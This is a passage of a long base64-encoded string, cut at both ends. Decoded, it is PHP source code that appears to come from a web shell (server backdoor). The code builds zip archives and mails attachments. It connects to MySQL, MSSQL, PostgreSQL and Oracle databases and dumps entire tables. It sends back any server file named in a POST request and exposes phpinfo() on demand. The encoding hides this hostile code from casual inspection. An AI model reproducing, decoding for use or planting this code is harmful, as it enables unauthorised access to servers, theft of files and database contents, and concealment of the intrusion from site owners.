HpkYXRhICAgPSBzdWJzdHIoc3Vic3RyKCR6ZGF0YSwgMCwgc3RybGVuKCR6ZGF0YSkgLSA0KSwgMik7DQogICAgICAgICRjX2xlbiAgID0gc3RybGVuKCR6ZGF0YSk7DQogICAgICAgICRmciAgICAgIC49IHBhY2soJ1YnLCAkY3JjKTsNCiAgICAgICAgJGZyICAgICAgLj0gcGFjaygnVicsICRjX2xlbik7DQogICAgICAgICRmciAgICAgIC49IHBhY2soJ1YnLCAkdW5jX2xlbik7DQogICAgICAgICRmciAgICAgIC49IHBhY2soJ3YnLCBzdHJsZW4oJG5hbWUpKTsNCiAgICAgICAgJGZyICAgICAgLj0gcGFjaygndicsIDApOw0KICAgICAgICAkZnIgICAgICAuPSAkbmFtZTsNCiAgICAgICAgJGZyIC49ICR6ZGF0YTsNCiAgICAgICAgJHRoaXMgLT4gZGF0YXNlY1tdID0gJGZyOw0KICAgICAgICAkY2RyZWMgPSAiXHg1MFx4NGJceDAxXHgwMiI7DQogICAgICAgICRjZHJlYyAuPSAiXHgwMFx4MDAiOw0KICAgICAgICAkY2RyZWMgLj0gIlx4MTRceDAwIjsNCiAgICAgICAgJGNkcmVjIC49ICJceDAwXHgwMCI7DQogICAgICAgICRjZHJlYyAuPSAiXHgwOFx4MDAiOw0KICAgICAgICAkY2RyZWMgLj0gJGhleGR0aW1lOw0KICAgICAgICAkY2RyZWMgLj0gcGFjaygnVicsICRjcmMpOw0KICAgICAgICAkY2RyZWMgLj0gcGFjaygnVicsICRjX2xlbik7DQogICAgICAgICRjZHJlYyAuPSBwYWNrKCdWJywgJHVuY19sZW4pOw0KICAgICAgICAkY2RyZWMgLj0gcGFjaygndicsIHN0cmxlbigkbmFtZSkgKTsNCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7DQogICAgICAgICRjZHJlYyAuPSBwYWNrKCd2JywgMCApOw0KICAgICAgICAkY2RyZWMgLj0gcGFjaygndicsIDAgKTsNCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7DQogICAgICAgICRjZHJlYyAuPSBwYWNrKCdWJywgMzIgKTsNCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ1YnLCAkdGhpcyAtPiBvbGRfb2Zmc2V0ICk7DQogICAgICAgICR0aGlzIC0+IG9sZF9vZmZzZXQgKz0gc3RybGVuKCRmcik7DQogICAgICAgICRjZHJlYyAuPSAkbmFtZTsNCiAgICAgICAgJHRoaXMgLT4gY3RybF9kaXJbXSA9ICRjZHJlYzsNCiAgICB9DQogICAgZnVuY3Rpb24gZmlsZSgpDQogICAgew0KICAgICAgICAkZGF0YSAgICA9IGltcGxvZGUoJycsICR0aGlzIC0+IGRhdGFzZWMpOw0KICAgICAgICAkY3RybGRpciA9IGltcGxvZGUoJycsICR0aGlzIC0+IGN0cmxfZGlyKTsNCiAgICAgICAgcmV0dXJuDQogICAgICAgICAgICAkZGF0YSAuDQogICAgICAgICAgICAkY3RybGRpciAuDQogICAgICAgICAgICAkdGhpcyAtPiBlb2ZfY3RybF9kaXIgLg0KICAgICAgICAgICAgcGFjaygndicsIHNpemVvZigkdGhpcyAtPiBjdHJsX2RpcikpIC4NCiAgICAgICAgICAgIHBhY2soJ3YnLCBzaXplb2YoJHRoaXMgLT4gY3RybF9kaXIpKSAuDQogICAgICAgICAgICBwYWNrKCdWJywgc3RybGVuKCRjdHJsZGlyKSkgLg0KICAgICAgICAgICAgcGFjaygnVicsIHN0cmxlbigkZGF0YSkpIC4NCiAgICAgICAgICAgICJceDAwXHgwMCI7DQogICAgfQ0KfQ0KZnVuY3Rpb24gY29tcHJlc3MoJiRmaWxlbmFtZSwmJGZpbGVkdW1wLCRjb21wcmVzcykNCiB7DQogICAgZ2xvYmFsICRjb250ZW50X2VuY29kaW5nOw0KICAgIGdsb2JhbCAkbWltZV90eXBlOw0KICAgIGlmICgkY29tcHJlc3MgPT0gJ2J6aXAnICYmIEBmdW5jdGlvbl9leGlzdHMoJ2J6Y29tcHJlc3MnKSkNCiAgICAgew0KICAgICAgICAkZmlsZW5hbWUgIC49ICcuYnoyJzsNCiAgICAgICAgJG1pbWVfdHlwZSA9ICdhcHBsaWNhdGlvbi94LWJ6aXAyJzsNCiAgICAgICAgJGZpbGVkdW1wID0gYnpjb21wcmVzcygkZmlsZWR1bXApOw0KICAgICB9DQogICAgIGVsc2UgaWYgKCRjb21wcmVzcyA9PSAnZ3ppcCcgJiYgQGZ1bmN0aW9uX2V4aXN0cygnZ3plbmNvZGUnKSkNCiAgICAgew0KICAgICAgICAkZmlsZW5hbWUgIC49ICcuZ3onOw0KICAgICAgICAkY29udGVudF9lbmNvZGluZyA9ICd4LWd6aXAnOw0KICAgICAgICAkbWltZV90eXBlID0gJ2FwcGxpY2F0aW9uL3gtZ3ppcCc7DQogICAgICAgICRmaWxlZHVtcCA9IGd6ZW5jb2RlKCRmaWxlZHVtcCk7DQogICAgIH0NCiAgICAgZWxzZSBpZiAoJGNvbXByZXNzID09ICd6aXAnICYmIEBmdW5jdGlvbl9leGlzdHMoJ2d6Y29tcHJlc3MnKSkNCiAgICAgew0KICAgICAgICAgICAgICRmaWxlbmFtZSAuPSAnLnppcCc7DQogICAgICAgICRtaW1lX3R5cGUgPSAnYXBwbGljYXRpb24vemlwJzsNCiAgICAgICAgJHppcGZpbGUgPSBuZXcgemlwZmlsZSgpOw0KICAgICAgICAkemlwZmlsZSAtPiBhZGRGaWxlKCRmaWxlZHVtcCwgc3Vic3RyKCRmaWxlbmFtZSwgMCwgLTQpKTsNCiAgICAgICAgJGZpbGVkdW1wID0gJHppcGZpbGUgLT4gZmlsZSgpOw0KICAgICB9DQogICAgIGVsc2UNCiAgICAgew0KICAgICAgICAgICAgICRtaW1lX3R5cGUgPSAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJzsNCiAgICAgfQ0KIH0NCmZ1bmN0aW9uIG1haWxhdHRhY2goJHRvLCRmcm9tLCRzdWJqLCRhdHRhY2gpDQogew0KICRoZWFkZXJzICA9ICJGcm9tOiAkZnJvbVxyXG4iOw0KICRoZWFkZXJzIC49ICJNSU1FLVZlcnNpb246IDEuMFxyXG4iOw0KICRoZWFkZXJzIC49ICJDb250ZW50LVR5cGU6ICIuJGF0dGFjaFsndHlwZSddOw0KICRoZWFkZXJzIC49ICI7IG5hbWU9XCIiLiRhdHRhY2hbJ25hbWUnXS4iXCJcclxuIjsNCiAkaGVhZGVycyAuPSAiQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogYmFzZTY0XHJcblxyXG4iOw0KICRoZWFkZXJzIC49IGNodW5rX3NwbGl0KGJhc2U2NF9lbmNvZGUoJGF0dGFjaFsnY29udGVudCddKSkuIlxyXG4iOw0KIGlmKEBtYWlsKCR0bywkc3ViaiwiIiwkaGVhZGVycykpIHsgcmV0dXJuIDE7IH0NCiByZXR1cm4gMDsNCiB9DQpjbGFzcyBteV9zcWwNCiB7DQogdmFyICRob3N0ID0gJ2xvY2FsaG9zdCc7DQogdmFyICRwb3J0ID0gJyc7DQogdmFyICR1c2VyID0gJyc7DQogdmFyICRwYXNzID0gJyc7DQogdmFyICRiYXNlID0gJyc7DQogdmFyICRkYiAgID0gJyc7DQogdmFyICRjb25uZWN0aW9uOw0KIHZhciAkcmVzOw0KIHZhciAkZXJyb3I7DQogdmFyICRyb3dzOw0KIHZhciAkY29sdW1uczsNCiB2YXIgJG51bV9yb3dzOw0KIHZhciAkbnVtX2ZpZWxkczsNCiB2YXIgJGR1bXA7DQoNCiBmdW5jdGlvbiBjb25uZWN0KCkNCiAgew0KICAgICAgICAgIHN3aXRjaCgkdGhpcy0+ZGIpDQogICAgIHsNCiAgICAgICAgICAgY2FzZSAnTXlTUUwnOg0KICAgICAgICAgICAgaWYoZW1wdHkoJHRoaXMtPnBvcnQpKSB7ICR0aGlzLT5wb3J0ID0gJzMzMDYnOyB9DQogICAgICAgICAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9jb25uZWN0JykpIHJldHVybiAwOw0KICAgICAgICAgICAgJHRoaXMtPmNvbm5lY3Rpb24gPSBAbXlzcWxfY29ubmVjdCgkdGhpcy0+aG9zdC4nOicuJHRoaXMtPnBvcnQsJHRoaXMtPnVzZXIsJHRoaXMtPnBhc3MpOw0KICAgICAgICAgICAgaWYoaXNfcmVzb3VyY2UoJHRoaXMtPmNvbm5lY3Rpb24pKSByZXR1cm4gMTsNCiAgICAgICAgICAgYnJlYWs7DQogICAgIGNhc2UgJ01TU1FMJzoNCiAgICAgIGlmKGVtcHR5KCR0aGlzLT5wb3J0KSkgeyAkdGhpcy0+cG9ydCA9ICcxNDMzJzsgfQ0KICAgICAgICAgICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY29ubmVjdCcpKSByZXR1cm4gMDsNCiAgICAgICAgICAgICR0aGlzLT5jb25uZWN0aW9uID0gQG1zc3FsX2Nvbm5lY3QoJHRoaXMtPmhvc3QuJywnLiR0aGlzLT5wb3J0LCR0aGlzLT51c2VyLCR0aGlzLT5wYXNzKTsNCiAgICAgIGlmKCR0aGlzLT5jb25uZWN0aW9uKSByZXR1cm4gMTsNCiAgICAgYnJlYWs7DQogICAgIGNhc2UgJ1Bvc3RncmVTUUwnOg0KICAgICAgaWYoZW1wdHkoJHRoaXMtPnBvcnQpKSB7ICR0aGlzLT5wb3J0ID0gJzU0MzInOyB9DQogICAgICAkc3RyID0gImhvc3Q9JyIuJHRoaXMtPmhvc3QuIicgcG9ydD0nIi4kdGhpcy0+cG9ydC4iJyB1c2VyPSciLiR0aGlzLT51c2VyLiInIHBhc3N3b3JkPSciLiR0aGlzLT5wYXNzLiInIGRibmFtZT0nIi4kdGhpcy0+YmFzZS4iJyI7DQogICAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdwZ19jb25uZWN0JykpIHJldHVybiAwOw0KICAgICAgJHRoaXMtPmNvbm5lY3Rpb24gPSBAcGdfY29ubmVjdCgkc3RyKTsNCiAgICAgIGlmKGlzX3Jlc291cmNlKCR0aGlzLT5jb25uZWN0aW9uKSkgcmV0dXJuIDE7DQogICAgIGJyZWFrOw0KICAgICBjYXNlICdPcmFjbGUnOg0KICAgICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnb2NpbG9nb24nKSkgcmV0dXJuIDA7DQogICAgICAkdGhpcy0+Y29ubmVjdGlvbiA9IEBvY2lsb2dvbigkdGhpcy0+dXNlciwgJHRoaXMtPnBhc3MsICR0aGlzLT5iYXNlKTsNCiAgICAgIGlmKGlzX3Jlc291cmNlKCR0aGlzLT5jb25uZWN0aW9uKSkgcmV0dXJuIDE7DQogICAgIGJyZWFrOw0KICAgICB9DQogICAgcmV0dXJuIDA7DQogIH0NCg0KIGZ1bmN0aW9uIHNlbGVjdF9kYigpDQogIHsNCiAgIHN3aXRjaCgkdGhpcy0+ZGIpDQogICAgew0KICAgICAgICAgIGNhc2UgJ015U1FMJzoNCiAgICAgICAgICAgaWYoQG15c3FsX3NlbGVjdF9kYigkdGhpcy0+YmFzZSwkdGhpcy0+Y29ubmVjdGlvbikpIHJldHVybiAxOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ01TU1FMJzoNCiAgICAgICAgICAgaWYoQG1zc3FsX3NlbGVjdF9kYigkdGhpcy0+YmFzZSwkdGhpcy0+Y29ubmVjdGlvbikpIHJldHVybiAxOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ1Bvc3RncmVTUUwnOg0KICAgICByZXR1cm4gMTsNCiAgICBicmVhazsNCiAgICBjYXNlICdPcmFjbGUnOg0KICAgICByZXR1cm4gMTsNCiAgICBicmVhazsNCiAgICB9DQogICByZXR1cm4gMDsNCiAgfQ0KDQogZnVuY3Rpb24gcXVlcnkoJHF1ZXJ5KQ0KICB7DQogICAkdGhpcy0+cmVzPSR0aGlzLT5lcnJvcj0nJzsNCiAgIHN3aXRjaCgkdGhpcy0+ZGIpDQogICAgew0KICAgICAgICAgIGNhc2UgJ015U1FMJzoNCiAgICAgaWYoZmFsc2U9PT0oJHRoaXMtPnJlcz1AbXlzcWxfcXVlcnkoJy8qJy5jaHIoMCkuJyovJy4kcXVlcnksJHRoaXMtPmNvbm5lY3Rpb24pKSkNCiAgICAgIHsNCiAgICAgICR0aGlzLT5lcnJvciA9IEBteXNxbF9lcnJvcigkdGhpcy0+Y29ubmVjdGlvbik7DQogICAgICByZXR1cm4gMDsNCiAgICAgIH0NCiAgICAgZWxzZSBpZihpc19yZXNvdXJjZSgkdGhpcy0+cmVzKSkgeyByZXR1cm4gMTsgfQ0KICAgICByZXR1cm4gMjsNCiAgICAgICAgICBicmVhazsNCiAgICBjYXNlICdNU1NRTCc6DQogICAgIGlmKGZhbHNlPT09KCR0aGlzLT5yZXM9QG1zc3FsX3F1ZXJ5KCRxdWVyeSwkdGhpcy0+Y29ubmVjdGlvbikpKQ0KICAgICAgew0KICAgICAgJHRoaXMtPmVycm9yID0gJ1F1ZXJ5IGVycm9yJzsNCiAgICAgIHJldHVybiAwOw0KICAgICAgfQ0KICAgICAgZWxzZSBpZihAbXNzcWxfbnVtX3Jvd3MoJHRoaXMtPnJlcykgPiAwKSB7IHJldHVybiAxOyB9DQogICAgIHJldHVybiAyOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ1Bvc3RncmVTUUwnOg0KICAgICBpZihmYWxzZT09PSgkdGhpcy0+cmVzPUBwZ19xdWVyeSgkdGhpcy0+Y29ubmVjdGlvbiwkcXVlcnkpKSkNCiAgICAgIHsNCiAgICAgICR0aGlzLT5lcnJvciA9IEBwZ19sYXN0X2Vycm9yKCR0aGlzLT5jb25uZWN0aW9uKTsNCiAgICAgIHJldHVybiAwOw0KICAgICAgfQ0KICAgICAgZWxzZSBpZihAcGdfbnVtX3Jvd3MoJHRoaXMtPnJlcykgPiAwKSB7IHJldHVybiAxOyB9DQogICAgIHJldHVybiAyOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ09yYWNsZSc6DQogICAgIGlmKGZhbHNlPT09KCR0aGlzLT5yZXM9QG9jaXBhcnNlKCR0aGlzLT5jb25uZWN0aW9uLCRxdWVyeSkpKQ0KICAgICAgew0KICAgICAgJHRoaXMtPmVycm9yID0gJ1F1ZXJ5IHBhcnNlIGVycm9yJzsNCiAgICAgIH0NCiAgICAgZWxzZQ0KICAgICAgew0KICAgICAgaWYoQG9jaWV4ZWN1dGUoJHRoaXMtPnJlcykpDQogICAgICAgew0KICAgICAgIGlmKEBvY2lyb3djb3VudCgkdGhpcy0+cmVzKSAhPSAwKSByZXR1cm4gMjsNCiAgICAgICByZXR1cm4gMTsNCiAgICAgICB9DQogICAgICAkZXJyb3IgPSBAb2NpZXJyb3IoKTsNCiAgICAgICR0aGlzLT5lcnJvcj0kZXJyb3JbJ21lc3NhZ2UnXTsNCiAgICAgIH0NCiAgICBicmVhazsNCiAgICB9DQogIHJldHVybiAwOw0KICB9DQogZnVuY3Rpb24gZ2V0X3Jlc3VsdCgpDQogIHsNCiAgICR0aGlzLT5yb3dzPWFycmF5KCk7DQogICAkdGhpcy0+Y29sdW1ucz1hcnJheSgpOw0KICAgJHRoaXMtPm51bV9yb3dzPSR0aGlzLT5udW1fZmllbGRzPTA7DQogICBzd2l0Y2goJHRoaXMtPmRiKQ0KICAgIHsNCiAgICAgICAgICBjYXNlICdNeVNRTCc6DQogICAgICAgICAgICR0aGlzLT5udW1fcm93cz1AbXlzcWxfbnVtX3Jvd3MoJHRoaXMtPnJlcyk7DQogICAgICAgICAgICR0aGlzLT5udW1fZmllbGRzPUBteXNxbF9udW1fZmllbGRzKCR0aGlzLT5yZXMpOw0KICAgICAgICAgICB3aGlsZShmYWxzZSAhPT0gKCR0aGlzLT5yb3dzW10gPSBAbXlzcWxfZmV0Y2hfYXNzb2MoJHRoaXMtPnJlcykpKTsNCiAgICAgICAgICAgQG15c3FsX2ZyZWVfcmVzdWx0KCR0aGlzLT5yZXMpOw0KICAgICAgICAgICBpZigkdGhpcy0+bnVtX3Jvd3MpeyR0aGlzLT5jb2x1bW5zID0gQGFycmF5X2tleXMoJHRoaXMtPnJvd3NbMF0pOyByZXR1cm4gMTt9DQogICAgYnJlYWs7DQogICAgY2FzZSAnTVNTUUwnOg0KICAgICAgICAgICAkdGhpcy0+bnVtX3Jvd3M9QG1zc3FsX251bV9yb3dzKCR0aGlzLT5yZXMpOw0KICAgICAgICAgICAkdGhpcy0+bnVtX2ZpZWxkcz1AbXNzcWxfbnVtX2ZpZWxkcygkdGhpcy0+cmVzKTsNCiAgICAgICAgICAgd2hpbGUoZmFsc2UgIT09ICgkdGhpcy0+cm93c1tdID0gQG1zc3FsX2ZldGNoX2Fzc29jKCR0aGlzLT5yZXMpKSk7DQogICAgICAgICAgIEBtc3NxbF9mcmVlX3Jlc3VsdCgkdGhpcy0+cmVzKTsNCiAgICAgICAgICAgaWYoJHRoaXMtPm51bV9yb3dzKXskdGhpcy0+Y29sdW1ucyA9IEBhcnJheV9rZXlzKCR0aGlzLT5yb3dzWzBdKTsgcmV0dXJuIDE7fTsNCiAgICBicmVhazsNCiAgICBjYXNlICdQb3N0Z3JlU1FMJzoNCiAgICAgICAgICAgJHRoaXMtPm51bV9yb3dzPUBwZ19udW1fcm93cygkdGhpcy0+cmVzKTsNCiAgICAgICAgICAgJHRoaXMtPm51bV9maWVsZHM9QHBnX251bV9maWVsZHMoJHRoaXMtPnJlcyk7DQogICAgICAgICAgIHdoaWxlKGZhbHNlICE9PSAoJHRoaXMtPnJvd3NbXSA9IEBwZ19mZXRjaF9hc3NvYygkdGhpcy0+cmVzKSkpOw0KICAgICAgICAgICBAcGdfZnJlZV9yZXN1bHQoJHRoaXMtPnJlcyk7DQogICAgICAgICAgIGlmKCR0aGlzLT5udW1fcm93cyl7JHRoaXMtPmNvbHVtbnMgPSBAYXJyYXlfa2V5cygkdGhpcy0+cm93c1swXSk7IHJldHVybiAxO30NCiAgICBicmVhazsNCiAgICBjYXNlICdPcmFjbGUnOg0KICAgICAkdGhpcy0+bnVtX2ZpZWxkcz1Ab2NpbnVtY29scygkdGhpcy0+cmVzKTsNCiAgICAgd2hpbGUoZmFsc2UgIT09ICgkdGhpcy0+cm93c1tdID0gQG9jaV9mZXRjaF9hc3NvYygkdGhpcy0+cmVzKSkpICR0aGlzLT5udW1fcm93cysrOw0KICAgICBAb2NpZnJlZXN0YXRlbWVudCgkdGhpcy0+cmVzKTsNCiAgICAgaWYoJHRoaXMtPm51bV9yb3dzKXskdGhpcy0+Y29sdW1ucyA9IEBhcnJheV9rZXlzKCR0aGlzLT5yb3dzWzBdKTsgcmV0dXJuIDE7fQ0KICAgIGJyZWFrOw0KICAgIH0NCiAgIHJldHVybiAwOw0KICB9DQogZnVuY3Rpb24gZHVtcCgkdGFibGUpDQogIHsNCiAgIGlmKGVtcHR5KCR0YWJsZSkpIHJldHVybiAwOw0KICAgJHRoaXMtPmR1bXA9YXJyYXkoKTsNCiAgICR0aGlzLT5kdW1wWzBdID0gJyMjJzsNCiAgICR0aGlzLT5kdW1wWzFdID0gJyMjIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAnOw0KICAgJHRoaXMtPmR1bXBbMl0gPSAnIyMgIENyZWF0ZWQ6ICcuZGF0ZSAoImQvbS9ZIEg6aTpzIik7DQogICAkdGhpcy0+ZHVtcFszXSA9ICcjIyBEYXRhYmFzZTogJy4kdGhpcy0+YmFzZTsNCiAgICR0aGlzLT5kdW1wWzRdID0gJyMjICAgIFRhYmxlOiAnLiR0YWJsZTsNCiAgICR0aGlzLT5kdW1wWzVdID0gJyMjIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAnOw0KICAgc3dpdGNoKCR0aGlzLT5kYikNCiAgICB7DQogICAgICAgICAgY2FzZSAnTXlTUUwnOg0KICAgICAgICAgICAkdGhpcy0+ZHVtcFswXSA9ICcjIyBNeVNRTCBkdW1wJzsNCiAgICAgICAgICAgaWYoJHRoaXMtPnF1ZXJ5KCcvKicuY2hyKDApLicqLyBTSE9XIENSRUFURSBUQUJMRSBgJy4kdGFibGUuJ2AnKSE9MSkgcmV0dXJuIDA7DQogICAgICAgICAgIGlmKCEkdGhpcy0+Z2V0X3Jlc3VsdCgpKSByZXR1cm4gMDsNCiAgICAgICAgICAgJHRoaXMtPmR1bXBbXSA9ICR0aGlzLT5yb3dzWzBdWydDcmVhdGUgVGFibGUnXTsNCiAgICAgJHRoaXMtPmR1bXBbXSA9ICcjIyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gJzsNCiAgICAgICAgICAgaWYoJHRoaXMtPnF1ZXJ5KCcvKicuY2hyKDApLicqLyBTRUxFQ1QgKiBGUk9NIGAnLiR0YWJsZS4nYCcpIT0xKSByZXR1cm4gMDsNCiAgICAgICAgICAgaWYoISR0aGlzLT5nZXRfcmVzdWx0KCkpIHJldHVybiAwOw0KICAgICAgICAgICBmb3IoJGk9MDskaTwkdGhpcy0+bnVtX3Jvd3M7JGkrKykNCiAgICAgICAgICAgIHsNCiAgICAgIGZvcmVhY2goJHRoaXMtPnJvd3NbJGldIGFzICRrPT4kdikgeyR0aGlzLT5yb3dzWyRpXVska10gPSBAbXlzcWxfcmVhbF9lc2NhcGVfc3RyaW5nKCR2KTt9DQogICAgICAgICAgICAkdGhpcy0+ZHVtcFtdID0gJ0lOU0VSVCBJTlRPIGAnLiR0YWJsZS4nYCAoYCcuQGltcGxvZGUoImAsIGAiLCAkdGhpcy0+Y29sdW1ucykuJ2ApIFZBTFVFUyAoXCcnLkBpbXBsb2RlKCInLCAnIiwgJHRoaXMtPnJvd3NbJGldKS4nXCcpOyc7DQogICAgICAgICAgICB9DQogICAgYnJlYWs7DQogICAgY2FzZSAnTVNTUUwnOg0KICAgICAkdGhpcy0+ZHVtcFswXSA9ICcjIyBNU1NRTCBkdW1wJzsNCiAgICAgaWYoJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NICcuJHRhYmxlKSE9MSkgcmV0dXJuIDA7DQogICAgICAgICAgIGlmKCEkdGhpcy0+Z2V0X3Jlc3VsdCgpKSByZXR1cm4gMDsNCiAgICAgICAgICAgZm9yKCRpPTA7JGk8JHRoaXMtPm51bV9yb3dzOyRpKyspDQogICAgICAgICAgICB7DQogICAgICBmb3JlYWNoKCR0aGlzLT5yb3dzWyRpXSBhcyAkaz0+JHYpIHskdGhpcy0+cm93c1skaV1bJGtdID0gQGFkZHNsYXNoZXMoJHYpO30NCiAgICAgICAgICAgICR0aGlzLT5kdW1wW10gPSAnSU5TRVJUIElOVE8gJy4kdGFibGUuJyAoJy5AaW1wbG9kZSgiLCAiLCAkdGhpcy0+Y29sdW1ucykuJykgVkFMVUVTIChcJycuQGltcGxvZGUoIicsICciLCAkdGhpcy0+cm93c1skaV0pLidcJyk7JzsNCiAgICAgICAgICAgIH0NCiAgICBicmVhazsNCiAgICBjYXNlICdQb3N0Z3JlU1FMJzoNCiAgICAgJHRoaXMtPmR1bXBbMF0gPSAnIyMgUG9zdGdyZVNRTCBkdW1wJzsNCiAgICAgaWYoJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NICcuJHRhYmxlKSE9MSkgcmV0dXJuIDA7DQogICAgICAgICAgIGlmKCEkdGhpcy0+Z2V0X3Jlc3VsdCgpKSByZXR1cm4gMDsNCiAgICAgICAgICAgZm9yKCRpPTA7JGk8JHRoaXMtPm51bV9yb3dzOyRpKyspDQogICAgICAgICAgICB7DQogICAgICBmb3JlYWNoKCR0aGlzLT5yb3dzWyRpXSBhcyAkaz0+JHYpIHskdGhpcy0+cm93c1skaV1bJGtdID0gQGFkZHNsYXNoZXMoJHYpO30NCiAgICAgICAgICAgICR0aGlzLT5kdW1wW10gPSAnSU5TRVJUIElOVE8gJy4kdGFibGUuJyAoJy5AaW1wbG9kZSgiLCAiLCAkdGhpcy0+Y29sdW1ucykuJykgVkFMVUVTIChcJycuQGltcGxvZGUoIicsICciLCAkdGhpcy0+cm93c1skaV0pLidcJyk7JzsNCiAgICAgICAgICAgIH0NCiAgICBicmVhazsNCiAgICBjYXNlICdPcmFjbGUnOg0KICAgICAgJHRoaXMtPmR1bXBbMF0gPSAnIyMgT1JBQ0xFIGR1bXAnOw0KICAgICAgJHRoaXMtPmR1bXBbXSAgPSAnIyMgdW5kZXIgY29uc3RydWN0aW9uJzsNCiAgICBicmVhazsNCiAgICBkZWZhdWx0Og0KICAgICByZXR1cm4gMDsNCiAgICBicmVhazsNCiAgICB9DQogICByZXR1cm4gMTsNCiAgfQ0KIGZ1bmN0aW9uIGNsb3NlKCkNCiAgew0KICAgc3dpdGNoKCR0aGlzLT5kYikNCiAgICB7DQogICAgICAgICAgY2FzZSAnTXlTUUwnOg0KICAgICAgICAgICBAbXlzcWxfY2xvc2UoJHRoaXMtPmNvbm5lY3Rpb24pOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ01TU1FMJzoNCiAgICAgQG1zc3FsX2Nsb3NlKCR0aGlzLT5jb25uZWN0aW9uKTsNCiAgICBicmVhazsNCiAgICBjYXNlICdQb3N0Z3JlU1FMJzoNCiAgICAgQHBnX2Nsb3NlKCR0aGlzLT5jb25uZWN0aW9uKTsNCiAgICBicmVhazsNCiAgICBjYXNlICdPcmFjbGUnOg0KICAgICBAb2NpX2Nsb3NlKCR0aGlzLT5jb25uZWN0aW9uKTsNCiAgICBicmVhazsNCiAgICB9DQogIH0NCiBmdW5jdGlvbiBhZmZlY3RlZF9yb3dzKCkNCiAgew0KICAgc3dpdGNoKCR0aGlzLT5kYikNCiAgICB7DQogICAgICAgICAgY2FzZSAnTXlTUUwnOg0KICAgICAgICAgICByZXR1cm4gQG15c3FsX2FmZmVjdGVkX3Jvd3MoJHRoaXMtPnJlcyk7DQogICAgYnJlYWs7DQogICAgY2FzZSAnTVNTUUwnOg0KICAgICByZXR1cm4gQG1zc3FsX2FmZmVjdGVkX3Jvd3MoJHRoaXMtPnJlcyk7DQogICAgYnJlYWs7DQogICAgY2FzZSAnUG9zdGdyZVNRTCc6DQogICAgIHJldHVybiBAcGdfYWZmZWN0ZWRfcm93cygkdGhpcy0+cmVzKTsNCiAgICBicmVhazsNCiAgICBjYXNlICdPcmFjbGUnOg0KICAgICByZXR1cm4gQG9jaXJvd2NvdW50KCR0aGlzLT5yZXMpOw0KICAgIGJyZWFrOw0KICAgIGRlZmF1bHQ6DQogICAgIHJldHVybiAwOw0KICAgIGJyZWFrOw0KICAgIH0NCiAgfQ0KIH0NCmlmKCFlbXB0eSgkX1BPU1RbJ2NtZCddKSAmJiAkX1BPU1RbJ2NtZCddPT0iZG93bmxvYWRfZmlsZSIgJiYgIWVtcHR5KCRfUE9TVFsnZF9uYW1lJ10pKQ0KIHsNCiAgaWYoISRmaWxlPUBmb3BlbigkX1BPU1RbJ2RfbmFtZSddLCJyIikpIHsgZXJyKDEsJF9QT1NUWydkX25hbWUnXSk7ICRfUE9TVFsnY21kJ109IiI7IH0NCiAgZWxzZQ0KICAgew0KICAgIEBvYl9jbGVhbigpOw0KICAgICRmaWxlbmFtZSA9IEBiYXNlbmFtZSgkX1BPU1RbJ2RfbmFtZSddKTsNCiAgICAkZmlsZWR1bXAgPSBAZnJlYWQoJGZpbGUsQGZpbGVzaXplKCRfUE9TVFsnZF9uYW1lJ10pKTsNCiAgICBmY2xvc2UoJGZpbGUpOw0KICAgICRjb250ZW50X2VuY29kaW5nPSRtaW1lX3R5cGU9Jyc7DQogICAgY29tcHJlc3MoJGZpbGVuYW1lLCRmaWxlZHVtcCwkX1BPU1RbJ2NvbXByZXNzJ10pOw0KICAgIGlmICghZW1wdHkoJGNvbnRlbnRfZW5jb2RpbmcpKSB7IGhlYWRlcignQ29udGVudC1FbmNvZGluZzogJyAuICRjb250ZW50X2VuY29kaW5nKTsgfQ0KICAgIGhlYWRlcigiQ29udGVudC10eXBlOiAiLiRtaW1lX3R5cGUpOw0KICAgIGhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9XCIiLiRmaWxlbmFtZS4iXCI7Iik7DQogICAgZWNobyAkZmlsZWR1bXA7DQogICAgZXhpdCgpOw0KICAgfQ0KIH0NCg0KaWYoaXNzZXQoJF9HRVRbJ3BocGluZm8nXSkpIHsgZWNobyBAcGhwaW5mbygpOyBlY2hvICI8YnI+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj48Yj5bIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPkJBQ0s8L2E+IF08L2I+PC9mb250PjwvZGl2PiI7IGRpZSgpOyB9DQppZihpc3NldCgkX0dFVFsnc3FsbWFuJ10pKSB7DQpzZXNzaW9uX3N0YXJ0KCk7DQokYWN0aW9uID0gJEhUVFBfR0VUX1ZBUlNbJ2FjdGlvbiddOw0KJHBhZ2VtYXg9MjA7IC8vIE1heGltdW0gcm93cyBkaXNwbGFlZCBwZXIgcGFnZSwgY2hhbmdlIHRvIGRpc3BsYXkgbW9yZSBvciBsZXNzIHJvd3MgcGVyIHBhZ2UuDQpmdW5jdGlvbiBzaG93X2xvZ2luKCRkYm5hbWVhcnJheSl7DQogICAgICRob3N0ZGVmYXVsdD0ibG9jYWxob3N0IjsNCiAgICAgICAgICAgICAgICBlY2hvIjx0YWJsZT4iOw0KICAgICAgICAgICAgICAgIGVjaG8iPGZvcm0gIG5hbWU9J3Nob3dsb2dpbicgbWV0aG9kPS